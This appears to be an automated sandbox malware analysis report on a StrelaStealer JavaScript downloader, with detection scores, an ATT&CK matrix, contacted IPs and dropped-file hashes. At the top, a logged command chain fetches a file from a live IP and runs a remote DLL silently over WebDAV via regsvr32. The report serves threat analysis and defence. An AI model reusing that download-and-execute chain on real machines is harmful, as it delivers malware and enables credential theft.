Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1574285771252416900.js	7%	Virustotal		Browse
1574285771252416900.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.3005309405.000002378BA00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1778200446.000001F554D40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1776032391.000001F554D23000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1778070349.000001F554D23000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1773357687.000001F554D3E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1777959690.000001F554CE8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588842
Start date and time:	2025-01-11 06:11:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1574285771252416900.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 18.213.11.84, 50.16.47.176, 34.237.241.83, 54.224.241.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.200.0.33, 23.200.0.21, 172.202.163.200, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:12:07	API Interceptor	25x Sleep call for process: powershell.exe modified
00:12:11	API Interceptor	1x Sleep call for process: net.exe modified
00:12:11	API Interceptor	2x Sleep call for process: svchost.exe modified
00:12:23	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073445192410582
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrV:KooCEYhgYEL0In
MD5:	C5454A0C5F133EFC5B29BFDE03C5F9D5
SHA1:	081C33A16DCA676EF6FD3F1E0D90FACE9CDD268B
SHA-256:	28574DC2A22F9DF5799549C6154D5D103C16AC4B4D5A6A47B2BE671E7E6D4CCF
SHA-512:	941C2D6B6A193DF716664E1DF1F19327F8D1AE82281DA25A8D34F65C1769DCB9E2C3B18BDEBC3F687F04CEB51D09A433FA5962ABD94CB647AD8E0C35ECC0A6A3
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb483beb3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422151669512625
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	4E9DBC94CE1C9A800F486C5E5761759C
SHA1:	E41E012E948AAACBABBA41B9C3B0C95B824CEDDE
SHA-256:	0407F4805AEBCD6C5A5D494746AB4C87B5096760C725A839FF2D5FD93A2AAD51
SHA-512:	F2FB15CD55ED3453DF2BAAFB62C8FB44DE3BF52DDB3B4F6ED6BA41F8A26DDFED6FAB604FE80998E2CBA5827F62134F3F433CD0C97D231E424CEC1BCD487CDEF7
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A......}/.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................2........}O...................&P.....}/..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07638994270266555
Encrypted:	false
SSDEEP:	3:KNGllEYeeOuRylkjn13a/oppwptillcVO/lnlZMxZNQl:KUyzORyW53q02tGOewk
MD5:	241B751EE5B6AD78A532EBD7520DF397
SHA1:	93659DE6AABB32AEE7E978D2213772DF1D35F705
SHA-256:	ADA822628328C78DE8E04A3960E7239C889AFBB3E46C1DA1142294701BE50141
SHA-512:	59D5906C8655671DABE3D968367393151DB6FA2DEBCFE8E5D4C2FD920C3FA73E1E8A8EA97E800E2B104A131C7F391023066868CAC111FFE92E7B460A5A01ECBA
Malicious:	false
Preview:	...R.....................................;...{.......}/......{A..............{A......{A..........{A]..................&P.....}/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.103551214583871
Encrypted:	false
SSDEEP:	6:iOiB1N+q2Pwkn2nKuAl9OmbnIFUtPYFZZmwJYFNVkwOwkn2nKuAl9OmbjLJ:7in+vYfHAahFUtPoZ/JoNV5JfHAaSJ
MD5:	2CAB61DD806A41AD511D91FB547F7922
SHA1:	003B5BB0EFCE1540F183F39C2E747AC9440BACD3
SHA-256:	4D6DC40ECE1837A97876E856D77AF38467F301E43F623D75A946AEC6D27D513C
SHA-512:	5DD890BA279F289105D898DE4CE222E01E3BC00BF012D04F821D0BE888CBD300AB66BF3D54FDC25C867A9B54A053442F78E006E81DC6C92581AD91E4C284C001
Malicious:	false
Preview:	2025/01/11-00:12:11.327 1d9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:12:11.330 1d9c Recovering log #3.2025/01/11-00:12:11.330 1d9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.103551214583871
Encrypted:	false
SSDEEP:	6:iOiB1N+q2Pwkn2nKuAl9OmbnIFUtPYFZZmwJYFNVkwOwkn2nKuAl9OmbjLJ:7in+vYfHAahFUtPoZ/JoNV5JfHAaSJ
MD5:	2CAB61DD806A41AD511D91FB547F7922
SHA1:	003B5BB0EFCE1540F183F39C2E747AC9440BACD3
SHA-256:	4D6DC40ECE1837A97876E856D77AF38467F301E43F623D75A946AEC6D27D513C
SHA-512:	5DD890BA279F289105D898DE4CE222E01E3BC00BF012D04F821D0BE888CBD300AB66BF3D54FDC25C867A9B54A053442F78E006E81DC6C92581AD91E4C284C001
Malicious:	false
Preview:	2025/01/11-00:12:11.327 1d9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:12:11.330 1d9c Recovering log #3.2025/01/11-00:12:11.330 1d9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.138654614501526
Encrypted:	false
SSDEEP:	6:iOPYL+q2Pwkn2nKuAl9Ombzo2jMGIFUtLoZmwv3VkwOwkn2nKuAl9Ombzo2jMmLJ:7PNvYfHAa8uFUtM/95JfHAa8RJ
MD5:	ADCD39F1A03BCAAA402B83843E8B12D0
SHA1:	4DA0126F9CE6336D625CD73D5EC62CB21B5215E9
SHA-256:	0D5B77804A21A33627B043C78BFD05AB2BF43295F7D01ABA4230CE60DBCF372C
SHA-512:	02B396D130E140B371845015CD8E774973DB8A704CCC371A129DDEBBA6AE1AAD350F4BAC56B3BB3F8B1F10B33DAC80413DB93F08AC831423702C9EB4248E6452
Malicious:	false
Preview:	2025/01/11-00:12:11.365 1dd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:12:11.367 1dd8 Recovering log #3.2025/01/11-00:12:11.368 1dd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.138654614501526
Encrypted:	false
SSDEEP:	6:iOPYL+q2Pwkn2nKuAl9Ombzo2jMGIFUtLoZmwv3VkwOwkn2nKuAl9Ombzo2jMmLJ:7PNvYfHAa8uFUtM/95JfHAa8RJ
MD5:	ADCD39F1A03BCAAA402B83843E8B12D0
SHA1:	4DA0126F9CE6336D625CD73D5EC62CB21B5215E9
SHA-256:	0D5B77804A21A33627B043C78BFD05AB2BF43295F7D01ABA4230CE60DBCF372C
SHA-512:	02B396D130E140B371845015CD8E774973DB8A704CCC371A129DDEBBA6AE1AAD350F4BAC56B3BB3F8B1F10B33DAC80413DB93F08AC831423702C9EB4248E6452
Malicious:	false
Preview:	2025/01/11-00:12:11.365 1dd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:12:11.367 1dd8 Recovering log #3.2025/01/11-00:12:11.368 1dd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fab9765-d2cc-40e6-8ed5-d5d0728fcd65.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967315765296704
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq07sBdOg2Hicaq3QYiubInP7E4T3y:Y2sRdsSdMHt3QYhbG7nby
MD5:	A0792CC068E744C922FA730E5D83DFB6
SHA1:	0FEB1E9FD904AA25DD351392DAB27224029038C9
SHA-256:	C2E29BB90B4E1FE1EEA3331ED196D856A9DE46AE619AFE39D73405EF1E89E4A6
SHA-512:	B1C927C7F9F4EEA40FF80247EEB7D9424A7447B9B00D0475B133EA1BDCA25D56094AA4EFC7043C0CC136DC97D3A96261B2616A8EE3CA6B52227BF8BA7837638D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132343697569","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125480},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967315765296704
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq07sBdOg2Hicaq3QYiubInP7E4T3y:Y2sRdsSdMHt3QYhbG7nby
MD5:	A0792CC068E744C922FA730E5D83DFB6
SHA1:	0FEB1E9FD904AA25DD351392DAB27224029038C9
SHA-256:	C2E29BB90B4E1FE1EEA3331ED196D856A9DE46AE619AFE39D73405EF1E89E4A6
SHA-512:	B1C927C7F9F4EEA40FF80247EEB7D9424A7447B9B00D0475B133EA1BDCA25D56094AA4EFC7043C0CC136DC97D3A96261B2616A8EE3CA6B52227BF8BA7837638D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132343697569","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125480},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.252320361873258
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7NO86DF:etJCV4FiN/jTN/2r8Mta02fEhgO73go6
MD5:	BC2232F6D6DDE44A2C284ABDBE8D66D0
SHA1:	1F05948FE5EC9B7CCEF4D949FBC024A36617982B
SHA-256:	96D31F0673831FB90530D65A70AB1E38C65F13A74D6728B8C852566DC43A1D18
SHA-512:	4809A26CC01DD0B111B8CBF9084D76F09473DE46A15FBBA224DAF236F3E4FD9F13FEBE8B38DB3674E7F95E94A964DADEB4F3734AE1D204BEDA06FA3F04A05354
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149477719414217
Encrypted:	false
SSDEEP:	6:iORt+q2Pwkn2nKuAl9OmbzNMxIFUtq5ZmwkLVkwOwkn2nKuAl9OmbzNMFLJ:7RovYfHAa8jFUtq5/kR5JfHAa84J
MD5:	12451BBA8E4E25010DAEA8A37CA6FB06
SHA1:	BEAA2763A36C1DDCF8C1BC2B2808506098F185E8
SHA-256:	1F7BD0C019355EB430BF6FEAA8F6ED29037EA02D5F3F88365A40F6114D2FF40F
SHA-512:	0812151CBF61269F6F20C85D640FC2CE68DDA67E7E2C6F2104CD4A85DFEE5849447EEE83A98E74DA79ABAAE4410B1A22BBC49EA6A5AB66FA92CA22DEA0F6D6A1
Malicious:	false
Preview:	2025/01/11-00:12:11.478 1dd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:12:11.479 1dd8 Recovering log #3.2025/01/11-00:12:11.480 1dd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149477719414217
Encrypted:	false
SSDEEP:	6:iORt+q2Pwkn2nKuAl9OmbzNMxIFUtq5ZmwkLVkwOwkn2nKuAl9OmbzNMFLJ:7RovYfHAa8jFUtq5/kR5JfHAa84J
MD5:	12451BBA8E4E25010DAEA8A37CA6FB06
SHA1:	BEAA2763A36C1DDCF8C1BC2B2808506098F185E8
SHA-256:	1F7BD0C019355EB430BF6FEAA8F6ED29037EA02D5F3F88365A40F6114D2FF40F
SHA-512:	0812151CBF61269F6F20C85D640FC2CE68DDA67E7E2C6F2104CD4A85DFEE5849447EEE83A98E74DA79ABAAE4410B1A22BBC49EA6A5AB66FA92CA22DEA0F6D6A1
Malicious:	false
Preview:	2025/01/11-00:12:11.478 1dd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:12:11.479 1dd8 Recovering log #3.2025/01/11-00:12:11.480 1dd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444639313025718
Encrypted:	false
SSDEEP:	384:Cerci5tziBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:DAs3OazzU89UTTgUL
MD5:	F9BC47D3FE9E84272D49510BCF67E1AD
SHA1:	CD1A1BF59D3B03051B506D6392AE775F3C374FB5
SHA-256:	139C35ABFBEBB3F8417A6C8C83B46529054ABDB707CF1EEB3C392C8F186544F2
SHA-512:	C2B21F8FE66510440CEB0E49117E61E11D3809C06AE41C97A4D81C89E98CF82DDC3FFA128CC4FDB53DF5F9F968558FBCA0DA3D90DF824C8CBEE5885AC950BB96
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21192591143305
Encrypted:	false
SSDEEP:	24:7+t7mnuwKpaqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf99:7ManCpaq/mFTIF3XmHjBoGGR+jMz+LhD
MD5:	F0C8D4461822F2A1580BB3662D749758
SHA1:	9C4A4FAA2C30A4B1F2C9BE29F7C2A3683698089F
SHA-256:	26C1DDF290791CE284937240534DB3F9135C55007176E60C77B9031AD0023C0B
SHA-512:	1AC9A13736B79746E4BB3ED6F39E2B0E195ACEE6C988A60E391ED494BD71D73BA57D82BA9D0778AC366B2F615EAC058F7CEB9CB52F86CDA6B7EE84675C5978C5
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
